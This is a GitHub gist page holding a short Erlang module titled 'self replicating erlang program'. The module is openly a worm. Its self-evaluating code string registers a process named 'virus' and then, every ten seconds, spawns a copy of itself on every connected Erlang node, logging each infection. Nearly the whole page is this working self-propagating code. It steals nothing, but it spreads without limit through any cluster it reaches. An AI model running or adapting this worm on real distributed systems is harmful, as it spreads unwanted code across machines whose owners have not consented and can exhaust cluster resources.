Created
December 25, 2011 18:19
-
-
Save benmmurphy/1519569 to your computer and use it in GitHub Desktop.
self replicating erlang program
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-module(replicator). | |
-export([replicator/0]). | |
replicator() -> | |
Eval = fun(S, Env) -> | |
{ok, Scanned,_} = erl_scan:string(S), | |
{ok,Parsed} = erl_parse:parse_exprs(Scanned), | |
erl_eval:exprs(Parsed, Env) | |
end, | |
Code = | |
"fun() ->\n" | |
" Eval = fun(S, Env) ->\n" | |
" {ok,Scanned,_} = erl_scan:string(S),\n" | |
" {ok,Parsed} = erl_parse:parse_exprs(Scanned),\n" | |
" erl_eval:exprs(Parsed, Env)\n" | |
" end,\n" | |
" {value, Payload, _} = Eval(Code, erl_eval:add_binding('Code', Code, erl_eval:new_bindings())),\n" | |
" Infect = fun(Node) ->\n" | |
" io:format(user, \"trying to infect node ~p from ~p ~n\", [Node, node()])," | |
" spawn(Node, Payload)\n" | |
" end,\n" | |
" Infector = fun(Self) ->\n" | |
" lists:foreach(Infect, nodes()),\n" | |
" timer:sleep(10 * 1000),\n" | |
" Self(Self)\n" | |
" end,\n" | |
" case whereis(virus) of \n" | |
" undefined ->" | |
" io:format(user, \"infected node ~p~n\", [node()]),\n" | |
" register(virus, self()),\n" | |
" Infector(Infector);\n" | |
" _ ->\n" | |
" ok\n" | |
" end\n" | |
"end.", | |
{value, Fun, _} = Eval(Code, erl_eval:add_binding('Code', Code, erl_eval:new_bindings())), | |
spawn(Fun). |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment